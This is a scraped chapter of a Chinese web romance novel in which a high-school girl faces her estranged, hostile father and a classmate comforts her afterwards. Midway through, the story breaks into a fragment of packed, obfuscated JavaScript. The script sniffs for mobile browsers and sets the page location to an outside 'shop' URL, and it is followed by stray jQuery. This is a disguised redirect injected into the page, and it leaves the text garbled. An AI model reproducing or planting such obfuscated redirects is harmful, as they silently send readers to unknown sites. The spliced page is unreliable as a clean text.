今天的气温已经接近零下，天气预报说，寒流要来了。
后脖颈冰凉，程清亿短暂地闭上了眼，这漫长的一瞬结束后，水泥地面结实的触感即刻袭来。
尖锐的耳鸣声贯通整个脑袋，一遍又一遍地提醒她，要记住今天的狼狈。
像是诚心要和她作对，脑中莫名蹦出以往尚有温存的画面。
——“我们清亿画得真好呀！”
那年她五岁，啥也不会啥也不懂，每天最大的兴趣爱好就是在墙上乱写乱画。
家里客厅的白墙上被她的各种幼稚画作填满，程雷却能耐得住性子对着这些涂鸦乐此不疲地称赞。
可现在，程清亿睁开眼。
程雷的身边跟着他的新儿女。
她站在了他们的对面。
孤零零的一个人。
心底忽然涌出一股酸水，又苦又涩。
程清亿似乎知道自己这么久以来这么纠结困扰的原因了。
她对程雷的恨不纯粹，就像程雷对她的爱一样。
而处在这种关系里，真正感到难受的，往往是翻篇慢一步的那个。
先前伸出的手被林川打了回去，程雷不死心地启用了另一只手。
攥着白信封的手掌空出一根食指，指着她质问：“你妈她什么意思？”
程清亿歪起身子揉了揉耳朵，差点把程雷的话听成“你他妈什么意思”。
叹气，不想理。
今年的天冷得晚，日子已经过了大雪，才将将迎来真正意义上的第一波降温。
林川赶在这个时候生病，本来也没什么大惊小怪的。
程清亿感到奇怪的点在于，他怎么会突然出现在这里。
像是感知到了她的疑惑。
林川并没有着急解释，只是朝她伸出手：“地上太凉了，你先起来。”
视线稍稍下移，程清亿看见男生的手背上还贴着昨晚挂吊针留下的医用胶布。
本就修长的五指因为这点不同多了几分病态的骨感。
程清亿不想搭那只伸过来的手。
虽然吊针是昨晚挂的，但她还是怕他会疼。
收回视线，程清亿双手撑地，准备自己起来。
然而下一秒，寒风裹挟着一股淡淡的佛手柑清香飘到了她的耳畔。
余光里一大团温暖的淡青色。
林川直接蹲了下来，没再给她拒绝的机会。
右肩被一道更加有力的手掌轻托着，慢慢的给她借力向上站起。
这一切发生的极为迅速。
可在程清亿看来，却好像过了很久。
从副驾上下来的女人看看她，又看看站在她旁边的林川，神情古怪。
程雷却好像并未有所诧异，当着众人的面把刚刚的问题又重复了一遍：“我问你话呢，你妈她什么意思？”
皱眉，不耐烦。
紧接着，话就这么横冲直撞地脱口而出：“我妈让你节哀，你听不懂我说话吗？”
程清亿和程雷面对面，双眼望穿一切。
长久以来，无论和谁提起，程雷这个人在她口中总是占据着理所应当的负面形象。
他脾气差。
他对感情不忠。
他没本事又好面子。
他不负责任。
他重男轻女。
可背地里，程清亿却总能一遍又一遍地梦见曾经她称他为“爸爸”的时候。
她清楚地知道过往的日子并不幸福，却无法对这种身体的本能反应给出合理的解释。
而这种情况加剧的时间点，正是李椿女士和她坦白自己谈恋爱的事情后。
心开始跳得越来越快，程清亿感受到自己的上半身开始有些不稳。
她看见了，程雷的瞳孔里有愤怒。
是那种本来就没几斤几两的威严被挑战后，滋生出来的恼羞成怒。
迄今为止，这是她第一次和程雷硬对硬。
“你！”
和她预想的一样。
和若干年前她递给程雷那张四十三分的数学试卷一样。
男人的巴掌应声而来。
“叔叔！”
“程清亿！”
两道不同的声线一左一右地包抄了上来，在巴掌落下之前把她护在了里面。
“叔叔，这是李阿姨的意思，你不能怪清亿。”
回过神来，程清亿被林川挡在身后。
而她的左前方，站着不知道从哪里冒出来的李成轩。
“程清亿你怎么现在还在这里？已经上课了知不知道？主任让你赶快回班。”
身为一班的班长，李成轩的官腔打得极好，语气中尽显严肃。
程清亿不傻，她听懂了李成轩的意思。
程雷的巴掌最终还是没落下来。
“哎呀老程，你跟个孩子怄什么气，不去就不去呗。”抱着孩子的女人见气氛不对，终于出声。
“人家这孩子现在高三啦，学习任务重，死人的事哪有活人重要？”
女人的视线流转过站在同一战线的三位少年，眼中流露出了一丝让程清亿非常不舒服的神态。
“再说了，”女人把怀里的孩子换了方向，继续道，“没看见人孩子现在多有底气了么？就算亲妈不在身边，还有这么多男同学愿意帮她出头呢。”
程雷顺着女人递的台阶下了下来，终于有了要离开的架势。
不过抬脚前，男人恶狠狠地瞪了她一眼，像是为了故意恶心她：“学习任务重个屁，也没见成绩有多好。”
女人装作看不下去了的样子：“哎呀别在孩子面前说呀，这年头出路多的是，成绩不好没啥的，人家‘人缘’这么好呢。”
说着，还着重盯了盯站在程清亿前面的两个男生。
言下之意再明显不过。
程清亿看着两人逐渐走远的背影，手开始控制不住地发抖。
被她小心翼翼藏在最深处的那点温存，如今就像碎了玻璃一样，从一件艺术品变成了伤人的利器。
她拼命地咬住下唇，唯恐蓄在眼眶里的液体溢出。
“你们今晚要不先回家吧，”李成轩注意到了程清亿潮湿的后背，对林川说，“老师那边我来跟他们讲一声。”
“好，我回去也让李椿阿姨帮她请个假。”
二人默契商量好。
李成轩瞧见了程清亿状态，没再多说，只往林川肩上拍了拍。
随后小跑着回了学校。
这下，只剩他们两人。
程清亿不记得自己是怎么被林川领回来的了。
她一路上都垂着眼，一点抬起头的力气都没有。
眼泪掉在脸颊上，被冷风一吹，生疼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166166|196717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>林川就这样拉着她的袖口走了一路，什么话都没有多问。
其实那个点正值下班的高峰期，整条大街上堵得不行，又吵又拥挤。
可程清亿在那时什么都听不到。
耳边无数次往返回荡的全是程雷和那个女人临走前的恶语相向。
周围的声音全都消失了。
程清亿感觉自己的心口涨涨的。
脑海中闪过无数帧各种各样的背影，李椿女士、程雷、何语嫣、张云云、林川……
无一例外的全都离自己越来越远。
就好像，只有她被落下了。
*
林川拉着女孩一路走了回来。
他们走得很慢，往常十分钟不到的路程，今天却硬生生地磨了半小时。
期间他侧头看过去的时候，只能看见一颗低垂的脑袋。
仿佛千金散尽，再没有心气了一样。
林川收回视线，动了动喉结。
程清亿的状态才刚好一点就又经此刺激，他皱着眉，觉着心口酸酸的。
到了家门口，男生终于站立。
程清亿依旧低着头，不声不响地掉眼泪。
这副样子，怎么看都不是能一个呆着的状态。
林川轻叹了口气，把她牵进自己的家门。
打开门锁，玄关地板上还放着他走之前从便利店买的那些吃食。
林川半蹲着捡起包装袋，准备再放微波炉里面热一热。
那只牵着女生衣袖的手随之松开。
然而下一刻。
林川的目光稍稍停顿了下，随后下垂。
像是完成了一个角色互换，眼下衣袖被抓着的，变成了他。
视线稍抬。
一双哭肿了的眼满是无助，长睫上挂着水珠，似乎是在挽留。
“我不走远。”
他看着女孩的眼，轻轻拍了拍她白皙的手背，给出承诺。
程清亿吸了吸鼻子，僵持了本分钟后，终于松手。
林川进卫生间拿了条厚厚的浴巾。
想了想又折返回去把热水器提前打开了。
出了浴室门，程清亿仍站在没开灯的客厅里，一言不发。
他走近，看见女孩的脸上泪水划过的地方，被窗外透进来的亮照着，轻轻地反光。
程清亿是个跳脱欢快的人，小时候上房揭瓦、下河摸鱼，甚至比男孩子还要顽皮。
那时候大人们一直让她安静一点，别太闹。
但是现在，她太安静了。
林川轻轻地把干浴巾披在女孩湿了的身子上，用着接近哄小孩的语气轻声：“天气太凉了，你衣服都湿了，这样容易感冒，要不要先去洗澡？”
黑暗中，两个人站在一起面对面，空气里只剩下女孩一个人的吸气声。
他低睫，正准备伸手帮忙擦拭女孩脸上的眼泪，却在这时，胸口被某人迎面撞上。
半伸出去的双手就这么支在半空里，不知所措。
眉心微动，林川不自觉地屏住呼吸，忽然感觉心跳开始加快。
周遭黑暗的冷空气在这一瞬似乎变热了，搞得耳后脖颈一个劲地升温。他一天下来的产生的疲惫似乎在这时都蒸发消散，就像彻底没产生过一样。
程清亿的脑袋埋在淡青色羽绒服里，鼻子囔囔的拖着尾音：“林川……”